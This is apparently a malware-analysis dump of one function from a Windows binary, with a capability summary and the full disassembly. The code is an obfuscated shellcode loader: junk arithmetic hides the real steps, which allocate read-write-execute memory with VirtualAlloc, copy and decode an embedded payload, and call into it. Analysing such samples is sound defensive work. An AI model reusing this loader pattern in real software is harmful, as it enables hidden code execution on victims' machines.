Function at 0x401410
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
sub cl, 0x32
inc bl
xor dl, al
inc dl
add ax, 0xaa
inc bx
xor cl, dl
inc bx
sub al, 0x2e
mov ecx, 0x403650
mov dword [ebp - 0xc], ecx
inc ax
xor cl, dl
and ax, 0xd8
xor bl, cl
sub cl, 0xec
add cx, 0x61c6
xor bl, cl
sub al, 0x98
and cx, 0xfe
add ax, 0x30
sub al, 4
sub al, 0xde
sub cl, 0x8a
sub cl, 0x6e
inc dx
inc ax
and ax, 0xf0
sub cl, 6
add cx, 0x70
sub cl, 6
and ax, 0xa6
and ax, 0x1366
add ax, 0xd84e
sub al, 0xc
and ax, 0
and ax, 0xa290
sub al, 0x2e
add ax, 0x2a
sub cl, 8
and cx, 0
sub al, 0xf6
add cx, 0x81d6
sub al, 0x86
mov dword [ebp - 8], 0
sub dword [ebp - 8], 0
inc bx
sub al, 0xee
and cx, 0x8f7c
add cx, 0xfc
add cx, 0x462e
sub cl, 0x10
inc bx
xor al, dl
add ax, 0x9a
and ax, 0xd962
inc dl
and cx, 0xbe
inc cx
and cx, 0x12
sub al, 0xd0
inc ax
inc cx
sub cl, 0xb2
add ax, 0x8a
inc al
inc bl
xor cl, bl
sub cl, 0xe
xor al, cl
inc cl
add ax, 0x200
and ax, 0x3e
inc bl
and ax, 0xb0
sub cl, 0xee
inc bx
and ax, 0xaebe
add cx, 0x5954
add cx, 0xb4f4
xor bl, bl
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x12
xor bl, dl
add ax, 0x76cc
xor bl, dl
sub cl, 0xcc
and cx, 0x8206
sub al, 8
xor al, bl
xor bl, dl
inc bl
xor dl, al
inc bx
sub cl, 4
and cx, 0xee
xor al, bl
xor dl, al
xor cl, cl
sub al, 0xfc
add ax, 0x3e
add cx, 0xa2
sub cl, 0xc
sub cl, 0xca
and ax, 0xce
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x4018e3
sub al, 0xb8
inc cx
xor al, dl
inc dl
sub cl, 0x86
inc dl
and cx, 0xdb1a
inc dx
inc cx
xor cl, cl
xor dl, bl
and cx, 0x4a
xor bl, bl
mov dword [ebp + 0x10], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x1000
push 0x2dc1b
push 0
call eax
mov dword [ebp + 0x10], eax
xor al, cl
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp - 0xc]
mov eax, esi
sub edi, esi
mov ebx, 0x2dc1b
xor cl, bl
mov cl, byte [edi + eax]
mov byte [eax], cl
xor dl, al
inc eax
dec ebx
jne 0x4015bd
mov dword [ebp - 0xc], esi
add ax, 0xa8a0
add cx, 0xf8a4
inc al
and ax, 0x740a
and ax, 0xae
add cx, 0x9a
add ax, 0x16
xor al, al
inc ax
mov dword [ebp + 0x10], 0xee28
and cx, 0xe744
and ax, 0xc0
inc cl
xor cl, bl
inc bx
inc cx
sub cl, 0xc0
mov eax, dword [ebp + 0x10]
cmp eax, 0x5216
ja 0x401644
and cx, 0x5006
and ax, 2
and cx, 0xcc
xor al, bl
sub al, 0xb0
sub al, 0x40
and cx, 0xbe
inc ax
sub cl, 0xba
xor al, dl
and ax, 0xda04
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
xor cl, dl
add cx, 0xa6
and ax, 0xf8
sub al, 0xea
xor cl, dl
inc bl
sub al, 0xb0
and ax, 0x6538
xor al, bl
add cx, 0x746c
add cx, 0xb2
add ax, 0xf4
mov dword [ebp - 0x18], 0xb70
sub dword [ebp - 0x18], 0x176
inc cl
add cx, 0x7e
sub al, 0x28
inc ax
inc cx
add ax, 0xf8
sub cl, 0xa
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
cmp eax, edx
jae 0x40189c
mov ecx, dword [ebp - 8]
imul ecx, ecx, 4
mov edx, dword [ebp - 0xc]
add ecx, edx
mov dword [ebp - 0x1c], ecx
add ax, 0x2f06
add cx, 0x9a
xor al, cl
add ax, 0x1a60
inc ax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp + 0x10], eax
add ax, 0x93d0
xor bl, bl
xor bl, dl
sub al, 0xa
xor bl, bl
sub al, 4
mov eax, dword [ebp - 0x14]
test eax, eax
mov eax, 0x7c
jne 0x4016d7
mov eax, dword [ebp - 0x20]
push eax
call fcn.004011e0
add esp, 4
mov esi, dword [ebp + 0x10]
sub esi, eax
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4016f6
mov edi, 0x88
mov dword [ebp - 0x10], edi
jmp 0x4016f9
mov edi, dword [ebp - 0x10]
push edi
mov dword [ebp - 0x20], edi
call fcn.00401220
push edi
mov ebx, eax
call fcn.00401240
mov edi, eax
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401250
and eax, edi
add esp, 0xc
sub esi, eax
sub esi, ebx
mov eax, dword [ebp - 4]
test eax, eax
mov eax, 0x78
je 0x40172d
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
inc esi
mov eax, dword [ebp - 4]
test eax, eax
mov eax, 0xda
je 0x401740
mov eax, dword [ebp - 0x28]
push eax
mov dword [ebp - 0x24], eax
call fcn.00401270
add esp, 4
sub esi, eax
mov eax, dword [ebp - 4]
test eax, eax
mov eax, 0x90
je 0x40175d
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x28], eax
call fcn.00401280
add esp, 4
sub esi, eax
mov eax, dword [ebp - 4]
mov edi, 0xfe
test eax, eax
je 0x40177a
mov edi, dword [ebp - 0x30]
push edi
call fcn.004012e0
push edi
mov ebx, eax
mov dword [ebp - 0x2c], edi
call fcn.004012f0
and eax, ebx
add esp, 8
sub esi, eax
mov eax, dword [ebp - 4]
test eax, eax
mov edi, 0x84
je 0x4017a1
mov edi, dword [ebp - 0x34]
push edi
call fcn.00401330
push edi
mov ebx, eax
call fcn.00401370
add esp, 8
test ebx, ebx
je 0x4017bc
xor edx, edx
div ebx
jmp 0x4017be
mov edx, eax
xor edx, esi
mov dword [ebp - 0x30], edi
mov esi, edx
mov eax, dword [ebp - 4]
test eax, eax
mov edi, 0x2c
je 0x4017d4
mov edi, dword [ebp - 0x38]
push edi
call fcn.00401390
mov ebx, eax
mov eax, edi
xor edx, edx
mov ecx, 0xeef785c2
div ecx
add esp, 4
mov ecx, edx
lea edx, [edi - 1]
xor ecx, edx
je 0x4017fb
mov eax, ebx
xor edx, edx
div ecx
mov ebx, edx
push edi
call fcn.004013a0
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401812
mov eax, ebx
xor edx, edx
div ecx
jmp 0x401814
mov edx, ebx
mov dword [ebp - 0x34], edi
sub esi, edx
mov eax, dword [ebp - 0x14]
test eax, eax
mov eax, 0x3c
jne 0x401828
mov eax, dword [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], eax
call fcn.004013d0
add esp, 4
sub esi, eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0xe9
mov dword [ebp - 0x14], 0
mov dword [ebp + 0x10], esi
and cx, 0x2d00
and cx, 0xb9f4
sub cl, 0x22
inc bx
and cx, 0xba74
inc cl
inc cx
inc cx
add cx, 0xbd4a
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], ecx
mov dword [ebp - 0x40], 0xdd3d
and cx, 0xbc
add ax, 0xd2
sub cl, 0x3e
add cx, 0xf8
inc cx
mov eax, dword [ebp - 0x40]
cmp eax, 0x46ae
ja 0x401622
add cx, 0x22
sub al, 0xa6
inc dl
inc bl
mov ecx, 0x100
shl ecx, 2
add ecx, dword [ebp - 0xc]
mov ebx, 0x30
sub ebx, 0x18
add ecx, ebx
mov dword [ebp + 0x10], ecx
and ax, 0x10
sub cl, 0x4e
and ax, 0xd622
xor cl, al
add cx, 0xc
inc cl
inc cl
push dword [ebp - 0xc]
push dword [ebp + 0x10]
pop eax
call eax
sub cl, 0xe
inc cl
sub al, 0xe
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10